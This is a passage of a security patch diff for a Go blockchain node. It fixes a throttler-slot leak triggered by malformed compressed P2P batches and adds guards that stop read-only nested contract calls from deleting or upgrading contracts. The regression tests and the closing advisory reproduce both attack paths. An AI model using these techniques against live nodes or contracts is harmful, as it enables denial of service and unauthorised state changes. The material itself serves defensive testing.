TestMultiDataInterceptor_ProcessReceivedCreateFailsShouldErr(t *testing.T) { @@ -572,3 +585,85 @@ func TestMultiDataInterceptor_IsInterfaceNil(t *testing.T) { assert.True(t, check.IfNil(mdi)) } + +//------- regression: GHSA-74m6-4hjp-7226 / KLC-2348 (Finding 2.1) + +func malformedCompressedBatchPayload(t *testing.T, m *mock.MarshalizerMock) []byte { + t.Helper() + + payload, err := m.Marshal(&batch.Batch{ + IsCompressed: true, + Stream: []byte("not-a-gzip-stream"), + DataSize: 1, + }) + require.NoError(t, err) + return payload +} + +// A malformed compressed P2P batch must not leak a throttler slot: +// every path after preProcessMessage's StartProcessing must release the slot exactly once. +func TestMultiDataInterceptor_ProcessReceivedMessage_DecompressionErrorShouldReleaseThrottlerSlot(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + payload := malformedCompressedBatchPayload(t, marshalizer) + + countingThrottler := &mock.InterceptorThrottlerStub{ + CanProcessCalled: func() bool { return true }, + } + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + arg.Throttler = countingThrottler + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq-1"), + } + + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.Error(t, processErr, "expected a decompression error to reach the vulnerable branch") + + assert.Equal(t, int32(1), countingThrottler.StartProcessingCount(), + "preProcessMessage should call StartProcessing exactly once") + assert.Equal(t, int32(1), countingThrottler.EndProcessingCount(), + "regression GHSA-74m6-4hjp-7226 / KLC-2348: decompression-error path must release the throttler slot") +} + +// Repeated malformed compressed batches must not exhaust a real, bounded throttler. +// On the unfixed code, the third malformed batch returns common.ErrSystemBusy because the +// previous two leaked their slots in the gzip-error branch. +func TestMultiDataInterceptor_ProcessReceivedMessage_RepeatedDecompressionErrorsMustNotExhaustThrottler(t *testing.T) { + t.Parallel() + + marshalizer := &mock.MarshalizerMock{} + payload := malformedCompressedBatchPayload(t, marshalizer) + + const throttlerCapacity int32 = 2 + realThrottler, err := throttler.NewNumGoRoutinesThrottler(throttlerCapacity) + require.NoError(t, err) + + arg := createMockArgMultiDataInterceptor() + arg.Marshalizer = marshalizer + arg.Throttler = realThrottler + + mdi, err := interceptors.NewMultiDataInterceptor(arg) + require.NoError(t, err) + + const attempts = 5 + for i := 0; i < attempts; i++ { + msg := &mock.P2PMessageMock{ + DataField: payload, + PeerField: core.PeerID("origin-peer"), + SeqNoField: fmt.Appendf(nil, "seq-%d", i+1), + } + processErr := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.Error(t, processErr, "expected gzip error on iteration %d", i) + require.Falsef(t, errors.Is(processErr, common.ErrSystemBusy), + "regression GHSA-74m6-4hjp-7226 / KLC-2348: throttler exhausted on iteration %d: %v", i, processErr) + } +}
core/process/interceptors/singleDataInterceptor.go+22 −6 modified@@ -77,10 +77,19 @@ func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, return err } + // Guard the throttler slot reserved by preProcessMessage so every synchronous + // return below releases it exactly once. Ownership transfers to the async + // goroutine on the success path. Mirrors the fix from GHSA-74m6-4hjp-7226 / + // KLC-2348 and hardens this path against the same class of leak. + ownershipTransferred := false + defer func() { + if !ownershipTransferred { + sdi.throttler.EndProcessing() + } + }() + interceptedData, err := sdi.factory.Create(message.Data()) if err != nil { - sdi.throttler.EndProcessing() - //this situation is so severe that we need to black list the peers reason := "can not create object from received bytes, topic " + sdi.topic + ", error " + err.Error() sdi.antifloodHandler.BlacklistPeer(message.Peer(), reason, core.InvalidMessageBlacklistDuration) @@ -93,7 +102,6 @@ func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, err = interceptedData.CheckValidity() if err != nil { - sdi.throttler.EndProcessing() sdi.processDebugInterceptedData(interceptedData, err) isWrongVersion := err == process.ErrInvalidTransactionVersion || err == process.ErrInvalidChainID @@ -113,13 +121,11 @@ func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, log.Trace("got message from peer on topic only for validators", "originator", p2p.PeerIDToShortString(message.Peer()), "topic", sdi.topic, "err", errOriginator) - sdi.throttler.EndProcessing() return errOriginator } shouldProcess := isWhiteListed || true // always process same chain id TODO: if !shouldProcess { - sdi.throttler.EndProcessing() log.Trace("intercepted data is for other shards", "pid", p2p.MessageOriginatorPid(message), "seq no", p2p.MessageOriginatorSeq(message), @@ -131,9 +137,19 @@ func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, return nil } + ownershipTransferred = true go func() { + defer func() { + // Release the throttler slot before logging so the slot release + // is unconditional even if logging itself panics on an + // attacker-influenced panic value (CWE-400 defense-in-depth). + r := recover() + sdi.throttler.EndProcessing() + if r != nil { + log.Error("SingleDataInterceptor.ProcessReceivedMessage goroutine panicked", "panic", r) + } + }() sdi.processInterceptedData(interceptedData, message) - sdi.throttler.EndProcessing() }() return nil
core/process/interceptors/singleDataInterceptor_test.go+46 −0 modified@@ -11,6 +11,7 @@ import ( "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process" "github.com/klever-io/klever-go/core/process/interceptors" + "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/tools/check" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" @@ -164,6 +165,8 @@ func TestSingleDataInterceptor_ProcessReceivedMessageFactoryCreationErrorShouldE originatorBlackListed := false fromConnectedPeerBlackListed := false arg := createMockArgSingleDataInterceptor() + throttler := createMockThrottler() + arg.Throttler = throttler arg.DataFactory = &mock.InterceptedDataFactoryStub{ CreateCalled: func(buff []byte) (data process.InterceptedData, e error) { return nil, errExpected @@ -190,6 +193,10 @@ func TestSingleDataInterceptor_ProcessReceivedMessageFactoryCreationErrorShouldE assert.Equal(t, errExpected, err) assert.True(t, originatorBlackListed) assert.True(t, fromConnectedPeerBlackListed) + // Regression GHSA-74m6-4hjp-7226 / KLC-2348: every synchronous error path + // after preProcessMessage must release the throttler slot exactly once. + assert.Equal(t, int32(1), throttler.StartProcessingCount()) + assert.Equal(t, int32(1), throttler.EndProcessingCount()) } func TestSingleDataInterceptor_ProcessReceivedMessageIsNotValidShouldNotCallProcess(t *testing.T) { @@ -436,3 +443,42 @@ func TestSingleDataInterceptor_IsInterfaceNil(t *testing.T) { assert.True(t, check.IfNil(sdi)) } + +//------- regression: GHSA-74m6-4hjp-7226 / KLC-2348 (defensive hardening of SingleDataInterceptor) + +// Mirror of the MultiDataInterceptor regression test: repeated synchronous +// error returns (here via factory.Create errors) on a real bounded throttler +// must not leak slots. On code where a synchronous error branch fails to +// release the slot, the third attempt would return common.ErrSystemBusy. +func TestSingleDataInterceptor_ProcessReceivedMessage_RepeatedFactoryErrorsMustNotExhaustThrottler(t *testing.T) { + t.Parallel() + + errExpected := errors.New("expected error") + + const throttlerCapacity int32 = 2 + realThrottler, err := throttler.NewNumGoRoutinesThrottler(throttlerCapacity) + require.NoError(t, err) + + arg := createMockArgSingleDataInterceptor() + arg.Throttler = realThrottler + arg.DataFactory = &mock.InterceptedDataFactoryStub{ + CreateCalled: func(buff []byte) (process.InterceptedData, error) { + return nil, errExpected + }, + } + + sdi, err := interceptors.NewSingleDataInterceptor(arg) + require.NoError(t, err) + + const attempts = 5 + for i := 0; i < attempts; i++ { + msg := &mock.P2PMessageMock{ + DataField: []byte("data to be processed"), + PeerField: core.PeerID("origin-peer"), + } + processErr := sdi.ProcessReceivedMessage(msg, fromConnectedPeerID) + require.Equal(t, errExpected, processErr, "attempt %d", i) + require.Falsef(t, errors.Is(processErr, common.ErrSystemBusy), + "regression GHSA-74m6-4hjp-7226 / KLC-2348: throttler exhausted on iteration %d: %v", i, processErr) + } +}
integrationTest/mock/forkControllerStub.go+9 −0 modified@@ -11,6 +11,7 @@ type ForkControllerStub struct { EnableSmartContractsCalled func() bool FixAuditChangesCalled func() bool EpochRewardsV2Called func() bool + FixAuditChangesV2Called func() bool } // ProcessorFlowITOPrice - @@ -97,6 +98,14 @@ func (fc *ForkControllerStub) EpochRewardsV2() bool { return false } +func (fc *ForkControllerStub) FixAuditChangesV2() bool { + if fc.FixAuditChangesV2Called != nil { + return fc.FixAuditChangesV2Called() + } + + return false +} + // IsInterfaceNil - func (fc *ForkControllerStub) IsInterfaceNil() bool { return fc == nil
kvm/scenarioexec/exec.go+1 −0 modified@@ -84,6 +84,7 @@ func (ae *VMTestExecutor) InitVM(scenGasSchedule scenjsonmodel.GasSchedule) erro SmartContracts: 0, FixAuditChanges: 0, EpochRewardsV2: 0, + FixAuditChangesV2: 0, }, epochNotifier) err = ae.World.InitBuiltinFunctions(gasSchedule, forkController)
kvm/testcommon/mockSmartContractCallerTest.go+16 −3 modified@@ -4,6 +4,7 @@ import ( "testing" logger "github.com/klever-io/klever-go-logger" + blockchainConfig "github.com/klever-io/klever-go/config" mock "github.com/klever-io/klever-go/kvm/mock/context" worldmock "github.com/klever-io/klever-go/kvm/mock/world" "github.com/klever-io/klever-go/kvm/vmhost" @@ -45,6 +46,7 @@ type MockInstancesTestTemplate struct { contracts *[]MockTestSmartContract setup SetupFunction assertResults func(*TestCallNode, *worldmock.MockWorld, *VMOutputVerifier, []string) + enableEpochs *blockchainConfig.EnableEpochs } // BuildMockInstanceCallTest starts the building process for a mock contract call test @@ -77,6 +79,14 @@ func (callerTest *MockInstancesTestTemplate) WithSetup(setup SetupFunction) *Moc return callerTest } +// WithEnableEpochs overrides the default fork-flag config (all flags enabled at epoch 0) +// with the supplied EnableEpochs. Use to exercise pre-activation behavior of fork-gated +// changes (e.g. set FixAuditChangesV2 to a high epoch to assert old behavior). +func (callerTest *MockInstancesTestTemplate) WithEnableEpochs(epochs blockchainConfig.EnableEpochs) *MockInstancesTestTemplate { + callerTest.enableEpochs = &epochs + return callerTest +} + // WithWasmerSIGSEGVPassthrough sets the wasmerSIGSEGVPassthrough flag func (callerTest *MockInstancesTestTemplate) WithWasmerSIGSEGVPassthrough(wasmerSIGSEGVPassthrough bool) *MockInstancesTestTemplate { callerTest.wasmerSIGSEGVPassthrough = wasmerSIGSEGVPassthrough @@ -151,10 +161,13 @@ func (callerTest *MockInstancesTestTemplate) runTest( } executorFactory := mock.NewExecutorMockFactory(world) - host := NewTestHostBuilder(callerTest.tb). + hostBuilder := NewTestHostBuilder(callerTest.tb). WithExecutorFactory(executorFactory). - WithBlockchainHook(world). - Build() + WithBlockchainHook(world) + if callerTest.enableEpochs != nil { + hostBuilder = hostBuilder.WithEnableEpochs(*callerTest.enableEpochs) + } + host := hostBuilder.Build() defer func() { host.Reset()
kvm/testcommon/testHostBuilder.go+13 −0 modified@@ -51,6 +51,7 @@ func NewTestHostBuilder(tb testing.TB) *TestHostBuilder { SmartContracts: 0, FixAuditChanges: 0, EpochRewardsV2: 0, + FixAuditChangesV2: 0, }, epochNotifier) return &TestHostBuilder{ @@ -70,6 +71,18 @@ func NewTestHostBuilder(tb testing.TB) *TestHostBuilder { } } +// WithEnableEpochs replaces the ForkController on this host with one constructed from +// the supplied EnableEpochs config. Useful for tests that need to exercise pre-activation +// behavior of fork-gated changes (e.g. set FixAuditChangesV2 to a high epoch to keep the +// flag disabled at epoch 0). +func (thb *TestHostBuilder) WithEnableEpochs(epochs blockchainConfig.EnableEpochs) *TestHostBuilder { + epochNotifier := &commonMock.EpochNotifierStub{} + forkController, _ := fork.NewForkController(epochs, epochNotifier) + thb.vmHostParameters.EpochNotifier = epochNotifier + thb.vmHostParameters.ForkController = forkController + return thb +} + // Ensures gas costs are initialized. func (thb *TestHostBuilder) initializeGasCosts() { if thb.vmHostParameters.GasSchedule == nil {
kvm/vmhost/hostCore/execution.go+23 −1 modified@@ -236,6 +236,10 @@ func (host *vmHost) doRunSmartContractDelete(input *vmcommon.ContractCallInput) func (host *vmHost) doExecContractDelete(input *vmcommon.ContractCallInput) *vmcommon.VMOutput { output := host.Output() + // KLC-2347 defense-in-depth: primary read-only enforcement is at execute() dispatch. + if host.ForkController().FixAuditChangesV2() && host.Runtime().ReadOnly() { + return output.CreateVMOutputInCaseOfError(vmhost.ErrInvalidCallOnReadOnlyMode) + } err := host.checkUpgradePermission(input) if err != nil { log.Trace("doExecContractDelete", "error", vmhost.ErrUpgradeNotAllowed) @@ -792,6 +796,11 @@ func (host *vmHost) checkUpgradePermission(vmInput *vmcommon.ContractCallInput) func (host *vmHost) executeUpgrade(input *vmcommon.ContractCallInput) error { _, _, metering, output, runtime, _ := host.GetContexts() + // KLC-2347 defense-in-depth: primary read-only enforcement is at execute() dispatch. + if host.ForkController().FixAuditChangesV2() && runtime.ReadOnly() { + return vmhost.ErrInvalidCallOnReadOnlyMode + } + err := host.checkUpgradePermission(input) if err != nil { return err @@ -838,6 +847,12 @@ func (host *vmHost) executeUpgrade(input *vmcommon.ContractCallInput) error { func (host *vmHost) executeDelete(input *vmcommon.ContractCallInput) error { _, _, metering, _, runtime, _ := host.GetContexts() + + // KLC-2347 defense-in-depth: primary read-only enforcement is at execute() dispatch. + if host.ForkController().FixAuditChangesV2() && runtime.ReadOnly() { + return vmhost.ErrInvalidCallOnReadOnlyMode + } + // end previous runtime if any, prevent points to the previous runtime runtime.EndExecution() @@ -877,11 +892,18 @@ func (host *vmHost) execute(input *vmcommon.ContractCallInput) error { metering.UseGas(input.GasProvided) isUpgrade := input.Function == vmhost.UpgradeFunctionName + isDelete := input.Function == vmhost.DeleteFunctionName + + // KLC-2347: read-only nested execution must not produce delete/upgrade side effects. + // This is the primary guard for indirect dispatch; per-helper guards below are defense-in-depth. + if (isUpgrade || isDelete) && host.ForkController().FixAuditChangesV2() && runtime.ReadOnly() { + return vmhost.ErrInvalidCallOnReadOnlyMode + } + if isUpgrade { return host.executeUpgrade(input) } - isDelete := input.Function == vmhost.DeleteFunctionName if isDelete { return host.executeDelete(input) }
kvm/vmhost/hosttest/readonly_delete_test.go+224 −0 added@@ -0,0 +1,224 @@ +package hostCoretest + +import ( + "testing" + + blockchainConfig "github.com/klever-io/klever-go/config" + mock "github.com/klever-io/klever-go/kvm/mock/context" + worldmock "github.com/klever-io/klever-go/kvm/mock/world" + test "github.com/klever-io/klever-go/kvm/testcommon" + "github.com/klever-io/klever-go/kvm/vmhost" + "github.com/klever-io/klever-go/kvm/vmhost/vmhooks" + "github.com/klever-io/klever-go/vmcommon" + "github.com/stretchr/testify/require" +) + +// preForkEnableEpochs returns an EnableEpochs config where every fork is active at +// epoch 0 except FixAuditChangesV2, which activates at a far-future epoch. This pins +// the test to pre-KLC-2347-fix behavior so we can assert the old buggy invariants +// without disabling unrelated forks. +func preForkEnableEpochs() blockchainConfig.EnableEpochs { + return blockchainConfig.EnableEpochs{ + ClaimKFI: 0, + ProcessorFlowITOPrice: 0, + FixStakingBuckets: 0, + KdaFpr: 0, + BigBucketsCompute: 0, + FPRComputeAndKdaFeeFlow: 0, + FixDelegationSameEpoch: 0, + SmartContracts: 0, + FixAuditChanges: 0, + EpochRewardsV2: 0, + FixAuditChangesV2: 1_000_000, + } +} + +// Test_ReadOnly_DoesNotCommitDelete and Test_ReadOnly_BlocksUpgradeDispatch are +// regression tests for KLC-2347. +// +// A contract reached via ExecuteReadOnlyWithTypedArguments must not be able to +// produce contract-delete or contract-upgrade side effects in the merged +// parent VM output, even when the read-only callee owns the target contract. +// +// Without the fix in execute(), `executeDelete` runs without checking +// runtime.ReadOnly() and appends the target to vmOutput.DeletedAccounts; +// scProcessor.processVMOutput would then commit that deletion to chain state. +func Test_ReadOnly_DoesNotCommitDelete(t *testing.T) { + targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyDeleteTarget") + + vmOutput, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnlyChild", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("deleteTarget"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("deleteTarget", func() *mock.InstanceMock { + host := childInstance.Host + managed := host.ManagedTypes() + + destHandle := managed.NewManagedBufferFromBytes(targetAddress) + argsHandle := managed.NewManagedBuffer() + managed.WriteManagedVecOfManagedBuffers(nil, argsHandle) + + vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle) + return childInstance + }) + }), + test.CreateMockContract(targetAddress). + WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). + WithOwnerAddress(test.ChildAddress). + WithMethods(), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnlyChild"). + Build()). + WithSetup(func(host vmhost.VMHost, world *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {}) + + require.NoError(t, err) + require.NotNil(t, vmOutput) + require.NotContains(t, vmOutput.DeletedAccounts, targetAddress, + "read-only nested execution must not commit contract-delete side effects") + for _, logEntry := range vmOutput.Logs { + require.NotEqual(t, []byte(vmhost.DeleteContractString), logEntry.Identifier, + "read-only nested execution must not emit a delete-contract log") + } + if outAcc, ok := vmOutput.OutputAccounts[string(targetAddress)]; ok { + require.Empty(t, outAcc.Code, + "read-only nested execution must not mutate target contract code") + } +} + +// Test_ReadOnly_BlocksUpgradeDispatch confirms the upgrade-side leg of the +// shared dispatcher in execute() rejects read-only invocation. The parent +// invokes ExecuteReadOnlyWithTypedArguments with function = UpgradeFunctionName +// against a target it owns; the inner call must surface the read-only error in +// the parent runtime errors instead of reaching executeUpgrade. +func Test_ReadOnly_BlocksUpgradeDispatch(t *testing.T) { + targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyUpgradeTarget") + + vmOutput, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("upgradeReadOnly", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte(vmhost.UpgradeFunctionName), + targetAddress, + [][]byte{[]byte("dummy"), {0, 0}}, + ) + return parentInstance + }) + }), + test.CreateMockContract(targetAddress). + WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). + WithOwnerAddress(test.ParentAddress). + WithMethods(), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("upgradeReadOnly"). + Build()). + WithSetup(func(host vmhost.VMHost, world *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, verify *test.VMOutputVerifier) { + verify.HasRuntimeErrors(vmhost.ErrInvalidCallOnReadOnlyMode.Error()) + }) + + require.NoError(t, err) + require.NotNil(t, vmOutput) + if outAcc, ok := vmOutput.OutputAccounts[string(targetAddress)]; ok { + require.Empty(t, outAcc.Code, + "read-only nested execution must not mutate target contract code on upgrade") + } +} + +// Test_ReadOnly_DeleteCommitted_PreFork is the negative-fork regression test for +// KLC-2347. It locks the fork-gating contract: with FixAuditChangesV2 disabled +// (activation epoch in the far future), the chain MUST reproduce the original +// vulnerable behavior — a read-only nested call commits the contract delete into +// vmOutput.DeletedAccounts. This guarantees that: +// +// 1. The four runtime.ReadOnly() guards in execution.go remain fork-gated and +// cannot silently become always-on (which would diverge consensus). +// 2. A future change that drops the FixAuditChangesV2() check would be caught +// by CI rather than at validator-rollout time. +// +// At and after the activation epoch, Test_ReadOnly_DoesNotCommitDelete asserts +// the patched (correct) behavior. The pair locks both sides of the fork. +func Test_ReadOnly_DeleteCommitted_PreFork(t *testing.T) { + targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyDelPreFork") + + vmOutput, err := test.BuildMockInstanceCallTest(t). + WithEnableEpochs(preForkEnableEpochs()). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnlyChild", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("deleteTarget"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("deleteTarget", func() *mock.InstanceMock { + host := childInstance.Host + managed := host.ManagedTypes() + + destHandle := managed.NewManagedBufferFromBytes(targetAddress) + argsHandle := managed.NewManagedBuffer() + managed.WriteManagedVecOfManagedBuffers(nil, argsHandle) + + vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle) + return childInstance + }) + }), + test.CreateMockContract(targetAddress). + WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). + WithOwnerAddress(test.ChildAddress). + WithMethods(), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnlyChild"). + Build()). + WithSetup(func(host vmhost.VMHost, _ *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {}) + + require.NoError(t, err) + require.NotNil(t, vmOutput) + require.Contains(t, vmOutput.DeletedAccounts, targetAddress, + "pre-fork (FixAuditChangesV2 disabled) must reproduce the original vulnerable behavior; "+ + "if this assertion starts failing, the read-only guards are no longer fork-gated and consensus has shifted") +}
kvm/vmhost/hosttest/readonly_invariants_test.go+226 −0 added@@ -0,0 +1,226 @@ +package hostCoretest + +import ( + "math/big" + "testing" + + mock "github.com/klever-io/klever-go/kvm/mock/context" + worldmock "github.com/klever-io/klever-go/kvm/mock/world" + test "github.com/klever-io/klever-go/kvm/testcommon" + "github.com/klever-io/klever-go/kvm/vmhost" + "github.com/klever-io/klever-go/kvm/vmhost/vmhooks" + "github.com/klever-io/klever-go/vmcommon" + "github.com/stretchr/testify/require" +) + +// The tests in this file lock the read-only invariant across every state-changing +// KVM host path: storage writes, value transfers, indirect deploys, and log +// writes. Delete and upgrade dispatch are covered in readonly_delete_test.go. +// +// The reporter of KLC-2347 explicitly requested that the same invariant should +// be regression-tested for delete, upgrade, storage writes, value transfers, +// and any VM output field that can later mutate chain state. These tests +// fulfill the broader ask so any future regression of read-only enforcement on +// any of these paths is caught at CI time rather than via vulnerability report. + +// Test_ReadOnly_BlocksStorageWrite asserts storage.SetStorage rejects writes +// when invoked from a read-only nested execution. +func Test_ReadOnly_BlocksStorageWrite(t *testing.T) { + _, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnly", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("writeStorage"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("writeStorage", func() *mock.InstanceMock { + host := childInstance.Host + _ = vmhooks.StorageStoreWithTypedArgs(host, []byte("k"), []byte("v")) + return childInstance + }) + }), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnly"). + Build()). + WithSetup(func(host vmhost.VMHost, _ *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, verify *test.VMOutputVerifier) { + verify.HasRuntimeErrors(vmhost.ErrCannotWriteOnReadOnly.Error()) + }) + + require.NoError(t, err) +} + +// Test_ReadOnly_DropsLogWrite asserts WriteLog is silently dropped when invoked +// from a read-only nested execution. Logs feed receipts and are part of +// consensus-visible output, so they must not appear after a read-only call. +func Test_ReadOnly_DropsLogWrite(t *testing.T) { + vmOutput, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnly", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("emitLog"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("emitLog", func() *mock.InstanceMock { + childInstance.Host.Output().WriteLog( + test.ChildAddress, + [][]byte{[]byte("topic")}, + [][]byte{[]byte("data")}, + ) + return childInstance + }) + }), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnly"). + Build()). + WithSetup(func(host vmhost.VMHost, _ *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {}) + + require.NoError(t, err) + require.NotNil(t, vmOutput) + require.Empty(t, vmOutput.Logs, + "read-only nested execution must not commit log entries") +} + +// Test_ReadOnly_BlocksValueTransfer asserts TransferValueOnly with positive +// value is rejected when the runtime is in read-only mode. +func Test_ReadOnly_BlocksValueTransfer(t *testing.T) { + _, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithBalance(1000). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnly", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("transferKlv"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithBalance(1000). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("transferKlv", func() *mock.InstanceMock { + host := childInstance.Host + err := host.Output().TransferValueOnly( + test.ParentAddress, + test.ChildAddress, + big.NewInt(100), + false, + ) + if err != nil { + host.Runtime().AddError(err, "transferKlv") + } + return childInstance + }) + }), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnly"). + Build()). + WithSetup(func(host vmhost.VMHost, _ *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, verify *test.VMOutputVerifier) { + verify.HasRuntimeErrors(vmhost.ErrInvalidCallOnReadOnlyMode.Error()) + }) + + require.NoError(t, err) +} + +// Test_ReadOnly_BlocksDeploy asserts CreateNewContract rejects deployment when +// invoked from a read-only nested execution via DeployFromSourceContract. +func Test_ReadOnly_BlocksDeploy(t *testing.T) { + sourceAddress := test.MakeTestSCAddressWithDefaultVM("readonlyDeploySource") + + _, err := test.BuildMockInstanceCallTest(t). + WithContracts( + test.CreateMockContract(test.ParentAddress). + WithMethods(func(parentInstance *mock.InstanceMock, _ any) { + parentInstance.AddMockMethod("callReadOnly", func() *mock.InstanceMock { + host := parentInstance.Host + _ = vmhooks.ExecuteReadOnlyWithTypedArguments( + host, + 100000, + []byte("deployFromSource"), + test.ChildAddress, + nil, + ) + return parentInstance + }) + }), + test.CreateMockContract(test.ChildAddress). + WithMethods(func(childInstance *mock.InstanceMock, _ any) { + childInstance.AddMockMethod("deployFromSource", func() *mock.InstanceMock { + host := childInstance.Host + _, deployErr := vmhooks.DeployFromSourceContractWithTypedArgs( + host, + sourceAddress, + []byte{vmcommon.MetadataUpgradeable, 0}, + big.NewInt(0), + nil, + 100000, + ) + if deployErr != nil { + host.Runtime().AddError(deployErr, "deployFromSource") + } + return childInstance + }) + }), + test.CreateMockContract(sourceAddress). + WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). + WithMethods(), + ). + WithInput(test.CreateTestContractCallInputBuilder(). + WithRecipientAddr(test.ParentAddress). + WithGasProvided(500000). + WithFunction("callReadOnly"). + Build()). + WithSetup(func(host vmhost.VMHost, _ *worldmock.MockWorld) { + setZeroCodeCosts(host) + }). + AndAssertResults(func(_ *worldmock.MockWorld, verify *test.VMOutputVerifier) { + verify.HasRuntimeErrors(vmhost.ErrInvalidCallOnReadOnlyMode.Error()) + }) + + require.NoError(t, err) +}
Vulnerability mechanics
Root cause
"Missing runtime.ReadOnly() guard in contract delete and upgrade dispatch paths allows read-only nested execution to commit state-changing side effects."
Attack vector
An attacker-controlled contract reached via `ExecuteReadOnlyWithTypedArguments` can call the production `ManagedDeleteContract` or upgrade hooks because the delete and upgrade execution paths in `execution.go` do not check `runtime.ReadOnly()` [patch_id=1239026]. The delete path appends the target address to `vmOutput.DeletedAccounts`, which the output context merges into the caller output and the smart contract processor later commits to chain state. The attacker must own or satisfy permission checks for a deletable/upgradeable target contract. No node operator privilege, validator role, or block-level timing condition is required.
Affected code
